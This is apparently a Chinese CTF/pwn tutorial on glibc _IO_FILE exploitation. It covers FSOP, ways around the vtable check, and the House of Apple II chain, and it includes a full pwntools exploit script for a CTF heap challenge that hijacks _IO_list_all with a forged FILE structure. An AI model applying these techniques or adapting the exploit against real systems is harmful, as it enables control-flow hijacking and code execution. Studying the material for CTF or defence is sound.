Glibc _IO_FILE Exploitation

在旧版的 glibc 中,hook 函数允许用户通过修改特定的符号(如 __malloc_hook, __free_hook 等)来拦截和定制 malloc, free 等内存管理函数的行为。这种机制通常用于实现自定义内存分配器、调试工具或其他高级功能。

但从Glibc 2.34开始,hook被移除,开发者已经有了更好的方法来定制内存分配行为,如通过 malloc 相关的 API,或者通过 LD_PRELOAD 来替换函数。不过,这使得 glibc 上的利用变得更加复杂,原本通过打__free_hook等函数来 get shell 的利用链就失效了。但攻防是永远在迭代的,打 _IO_FILE 结构体的利用链就因此变得盛行起来 (2022+)。本篇主要研究和总结,作为当前版本的用户态 HEAP 主流漏洞利用链的核心之一的 _IO_FILE 的利用方法。

Source Code

阅读源码是最核心的能力:Glibc-2.35 _IO_FILE [1]

_IO_FILE 的定义,其中_IO_read(write|buf)_ptr(base|end)总共8个指针,用来控制输入输出缓冲区的操作,是IO过程必不可少的控制指针。

struct _IO_FILE
{
  int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;    /* Current read pointer */ 
  char *_IO_read_end;    /* End of get area. */
  char *_IO_read_base;    /* Start of putback+get area. */
  char *_IO_write_base;    /* Start of put area. */
  char *_IO_write_ptr;    /* Current put pointer. */
  char *_IO_write_end;    /* End of put area. */
  char *_IO_buf_base;    /* Start of reserve area. */
  char *_IO_buf_end;    /* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

_IO_FILE_complete 的定义

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

_IO_FILE_plus_IO_jump_t 的定义,其中每个函数的作用写在代码的注释部分 [2]

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy); // 1
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish); // 清空所有缓冲区,关闭(close)文件
    JUMP_FIELD(_IO_overflow_t, __overflow); // 当输出缓冲区用完时,向硬盘写入数据
    JUMP_FIELD(_IO_underflow_t, __underflow); // 从硬盘中读取数据,每次读取都是_IO_buf_base 至 _IO_buf_end。设置_IO_read_end为读取的总数
    JUMP_FIELD(_IO_underflow_t, __uflow); // 调用__underflow,增加检测逻辑
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail); // 设置存储
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn); // 将数据从source放入输出缓冲区, 程序的输出函数主要就是调用此函数
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn); // 将数据从输入缓冲区放入target, 程序的输入函数主要就是调用此函数
    JUMP_FIELD(_IO_seekoff_t, __seekoff); // 设置ptr指针
    JUMP_FIELD(_IO_seekpos_t, __seekpos); // 调用__seekoff
    JUMP_FIELD(_IO_setbuf_t, __setbuf); // 初始化各个缓冲区
    JUMP_FIELD(_IO_sync_t, __sync); // 负责与硬盘和缓冲区之间进行同步
    JUMP_FIELD(_IO_doallocate_t, __doallocate); // 申请缓冲区并初始化
    JUMP_FIELD(_IO_read_t, __read); // 最终输入, 封装的syscall_read
    JUMP_FIELD(_IO_write_t, __write); // 最终输出, 封装的syscall_write
    JUMP_FIELD(_IO_seek_t, __seek); // 调用__lseek64
    JUMP_FIELD(_IO_close_t, __close); // 关闭文件
    JUMP_FIELD(_IO_stat_t, __stat); // 获取文件描述符的状态, 调用__fxstat64
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc); // 无用, 返回-1
    JUMP_FIELD(_IO_imbue_t, __imbue); // 21
};

/* We always allocate an extra word following an _IO_FILE.
   This contains a pointer to the function jump table used.
   This is for compatibility with C++ streambuf; the word can
   be used to smash to a pointer to a virtual function table. */

struct _IO_FILE_plus
{
  FILE file;
  const struct _IO_jump_t *vtable;
};

File Stream Oriented Programming (FSOP)

进程内所有的 _IO_FILE 结构会使用 _chain 域相互连接形成一个链表,这个链表的头部由_IO_list_all 维护。FSOP 的核心思想就是劫持 _IO_list_all 的值来伪造链表和其中的 _IO_FILE 项,但是还需要某种方法进行触发。FSOP 选择的触发方法是调用 _IO_flush_all_lockp.

_IO_flush_all_lockp 在三种情况会自动调用

  1. 当 libc 执行 abort 流程时
  2. 当执行 exit 函数时
  3. 当执行流从 main 函数返回时

这个函数会刷新 _IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应会调用 _IO_FILE_plus.vtable 中的 _IO_overflow

int _IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
        ...
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)   // 如果输出缓冲区有数据,刷新输出缓冲区
    result = EOF;


    fp = fp->_chain; //遍历链表
    }
...
}

虚表检查

版本差异

  1. 2.23 的没有任何限制,可以将vtable 劫持在堆上并修改其内容,然后触发FSOP
  2. 2.24 引入了vtable check,使得将 vtable 整体劫持到堆上已不可能,但可以使用内部 vtable_IO_str_jumps_IO_wstr_jumps 来利用
  3. 2.31 中将 _IO_str_finish 函数中强制执行 free 函数,导致无法使用之前的利用链
  4. 2.37 重构...

虚表位置判断主要在 IO_validate_vtable 函数, 2.37之前的判断区间为 _IO_helper_jumps - _IO_str_jumps 之间的 0xd60 区域

_IO_helper_jumps
_IO_helper_jumps
_IO_cookie_jumps
_IO_proc_jumps
_IO_str_chk_jumps
_IO_wstrn_jumps
_IO_wstr_jumps
_IO_wfile_jumps_maybe_mmap
_IO_wfile_jumps_mmap
__GI__IO_wfile_jumps
_IO_wmem_jumps
_IO_mem_jumps
_IO_strn_jumps
_IO_obstack_jumps
_IO_file_jumps_maybe_mmap
_IO_file_jumps_mmap
__GI__IO_file_jumps
_IO_str_jumps

虚表检查函数 _IO_vtable_check, 同意开发者在外部重构 vtable,只是要满足一定条件

void attribute_hidden _IO_vtable_check (void)
{
#ifdef SHARED
  /* Honor the compatibility flag.  */
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (flag);
#endif
  if (flag == &_IO_vtable_check) // 检查是否是外部重构的 vtable
    return;

绕过虚表检查的三种方式, 需要有 ld 文件

  1. 泄露 ptr_guard,反算 IO_accept_foreign_vtables 然后修改
  2. 或者, 因为 IO_accept_foreign_vtables 中基本都是0,直接将 ptr_guard 修改为 &_IO_vtable_check
  3. check_stdfiles_vtables 函数是设置外置虚表的函数, 调用该函数可以绕过虚表检查
  4. 2.37 没有加保护的 宽字符跳表

宽字符跳表

house of applehouse of cat 的利用链都有涉及未加保护的宽字符跳表, 其中只有4个会实际引用 (标注在注释部分)

#define _IO_WFINISH(FP) WJUMP1 (__finish, FP, 0)
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH) // 1
#define _IO_WUNDERFLOW(FP) WJUMP0 (__underflow, FP)
#define _IO_WUFLOW(FP) WJUMP0 (__uflow, FP) // 2
#define _IO_WPBACKFAIL(FP, CH) WJUMP1 (__pbackfail, FP, CH)
#define _IO_WXSPUTN(FP, DATA, N) WJUMP2 (__xsputn, FP, DATA, N)
#define _IO_WXSGETN(FP, DATA, N) WJUMP2 (__xsgetn, FP, DATA, N)
#define _IO_WSEEKOFF(FP, OFF, DIR, MODE) WJUMP3 (__seekoff, FP, OFF, DIR, MODE)
#define _IO_WSEEKPOS(FP, POS, FLAGS) WJUMP2 (__seekpos, FP, POS, FLAGS)
#define _IO_WSETBUF(FP, BUFFER, LENGTH) WJUMP2 (__setbuf, FP, BUFFER, LENGTH) // 3
#define _IO_WSYNC(FP) WJUMP0 (__sync, FP)
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP) // 4
#define _IO_WSYSREAD(FP, DATA, LEN) WJUMP2 (__read, FP, DATA, LEN)
#define _IO_WSYSWRITE(FP, DATA, LEN) WJUMP2 (__write, FP, DATA, LEN)
#define _IO_WSYSSEEK(FP, OFFSET, MODE) WJUMP2 (__seek, FP, OFFSET, MODE)
#define _IO_WSYSCLOSE(FP) WJUMP0 (__close, FP)
#define _IO_WSYSSTAT(FP, BUF) WJUMP1 (__stat, FP, BUF)
#define _IO_WSHOWMANYC(FP) WJUMP0 (__showmanyc, FP)
#define _IO_WIMBUE(FP, LOCALE) WJUMP1 (__imbue, FP, LOCALE)

House of Apple II

直接使用适用性最广泛的 house [4] 利用链来作为 _IO_FILE 利用的示例.

House of Apple II 的利用条件有三个

  • 泄露 heap 地址和 glibc 地址
  • 能控制程序执行 IO 操作,包括但不限于:从 main 函数返回、调用 exit 函数、通过 __malloc_assert 触发
  • 能控制 _IO_FILEvtable_wide_data ( largebin attack )

每个属性的地址偏移如下

0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
// 以上 _IO_FILE 结构体
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
// 以上 _IO_FILE_complete 结构体
0xd8:'vtable',
// 以上 _IO_FILE_plus 结构体
0xe0:'_wide_vtable'
// _wide_vtable 是 _IO_wide_data 的最后一个属性

涉及 _wide_data 结构, 给出对应源代码.

struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;    /* Current read pointer */
  wchar_t *_IO_read_end;    /* End of get area. */
  wchar_t *_IO_read_base;    /* Start of putback+get area. */
  wchar_t *_IO_write_base;    /* Start of put area. */
  wchar_t *_IO_write_ptr;    /* Current put pointer. */
  wchar_t *_IO_write_end;    /* End of put area. */
  wchar_t *_IO_buf_base;    /* Start of reserve area. */
  wchar_t *_IO_buf_end;        /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;    /* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;    /* Pointer to first valid character of
                   backup area */
  wchar_t *_IO_save_end;    /* Pointer to end of non-current get area. */

  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;
  wchar_t _shortbuf[1];
  const struct _IO_jump_t *_wide_vtable;
};

vtable->_overflow 调用为例,所用到的宏依次为

#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)

#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)

#define _IO_WIDE_JUMPS(THIS) _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

利用链: 劫持 IO_FILEvtable_IO_wfile_jumps --> 控制 _wide_data 为可控的堆地址空间 --> 控制 _wide_data->_wide_vtable 为可控的堆地址空间 --> 控制程序执行 IO 流函数调用 --> 调用到 _IO_W* 函数即可控制程序的执行流。

程序从 main 返回或者执行 exit 后会遍历 _IO_list_all 存放的每一个 IO_FILE 结构体,如果满足条件的话,会调用每个结构体中 vtable->_overflow 函数指针指向的函数。

例题

pwn_oneday (下载链接可能随时间失效)

exp:

  1. 劫持 IO_FILEvtable_IO_wfile_jumps
  2. 控制 _wide_data 为可控的堆地址空间
  3. 控制 _wide_data->_wide_vtable 为可控的堆地址空间
  4. 控制程序执行IO流函数调用,最终调用到 _IO_Wxxxxx 函数控制程序的执行流

给出一个本地2.34版本 Glibc 劫持 vtable 的 exp

# template-v2.0 for exploit scripts by fa1c4
# usage: python exp.py [REMOTE|GDB|NULL]
'''
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    vuln: UAF in Del function
'''
from pwn import *

# define the context
binary_name = './oneday'
libc_name = './libc.so.6' if args.REMOTE \
    else './libc.so.6'
elf = ELF(binary_name, checksec=True) if binary_name else None
libc = ELF(libc_name, checksec=False) if libc_name else None
context.binary = elf
context(arch=elf.arch, os=elf.os)
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'DEBUG'

# define the io functions
rc  = lambda *x, **y: io.recv(*x, **y)
rl  = lambda *x, **y: io.recvline(*x, **y)
ru  = lambda *x, **y: io.recvuntil(*x, **y)
sn  = lambda *x, **y: io.send(*x, **y)
sl  = lambda *x, **y: io.sendline(*x, **y)
sa  = lambda *x, **y: io.sendafter(*x, **y)
sla = lambda *x, **y: io.sendlineafter(*x, **y)

# define the io object
if args.REMOTE:
    io = remote('challenge.ctf.games', 30269)
elif args.GDB:
    io = gdb.debug(binary_name, gdbscript="""
        # brva 0x2333
        b free
        c
    """, aslr=False)
else:
    io = process(binary_name)

# exploiting code
key, small, medium, large = 10, 1, 2, 3

def Add(c):
    sla(b"enter your command: \n", b"1")
    sla(b"choise: ", str(c).encode())

def Del(i):
    sla(b"enter your command: \n", b"2")
    sla(b"Index: \n", str(i).encode())

def Read(i, data):
    sla(b"enter your command: \n", b"3")
    sla(b"Index: ", str(i).encode())
    sa(b"Message: \n", flat(data, length = 0x110 * key))

def Write(i):
    sla(b"enter your command: \n", b"4")
    sla(b"Index: ", str(i).encode())
    ru(b"Message: \n")
    m = rc(0x10)
    d1 = u64(m[:8])
    d2 = u64(m[8:])
    log.info(f"d1: {d1:#x}")
    log.info(f"d2: {d2:#x}")
    return d1, d2

def Bye():
    sla(b'enter your command: \n', b'9')

sla(b'enter your key >>\n', str(key).encode())

Add(medium)
Add(medium)
Add(small)

Del(2)
Del(1)
Del(0)

Add(small)
Add(small)
Add(small)
Add(small)

Del(3)
Del(5)
m1, m2 = Write(3)
libc.address = m1 - 0x1f2cc0
heap_base = m2 - 0x17f0

Del(4)
Del(6)

Add(large)
Add(small)
Add(small)

Del(8)
Add(large)

target_addr = libc.sym._IO_list_all
_IO_wfile_jumps = libc.sym._IO_wfile_jumps

_lock = libc.address + 0x1f5720
fake_IO_FILE = heap_base + 0x1810

f1 = FileStructure()
f1.flags = u64(b"  fa1c4".ljust(8, b"\x00"))
f1._IO_read_ptr = 0xa81
f1._lock = _lock
f1._wide_data = fake_IO_FILE + 0xe0
f1.vtable = _IO_wfile_jumps

payload = flat({
    0x8: target_addr - 0x20,
    0x10: {
        0: {
            0: bytes(f1),
            0xe0: { # _wide_data->_wide_vtable
                0x18: 0, # f->_wide_data->_IO_write_base
                0x30: 0, # f->_wide_data->_IO_buf_base
                0xe0: fake_IO_FILE + 0x200
            },
            0x200: {
                0x68: libc.sym.puts
            }
        },
        0xa80: [0, 0xab1]
    }
})

Read(5, payload)
Del(2)
Add(large)

Bye()

# interact with the shell
io.interactive()

tbc: 补充调试和ORW版本exp...

References

[1] https://elixir.bootlin.com/glibc/glibc-2.35/source

[2] https://bbs.kanxue.com/thread-275968.htm

[3] https://ctf-wiki.org/pwn/linux/user-mode/io-file/fsop/

[4] https://bbs.kanxue.com/thread-273832.htm

[5] https://yuan0x1elegy.love/posts/pwn/io_file/house_of_apple2.html

results matching ""

    No results matching ""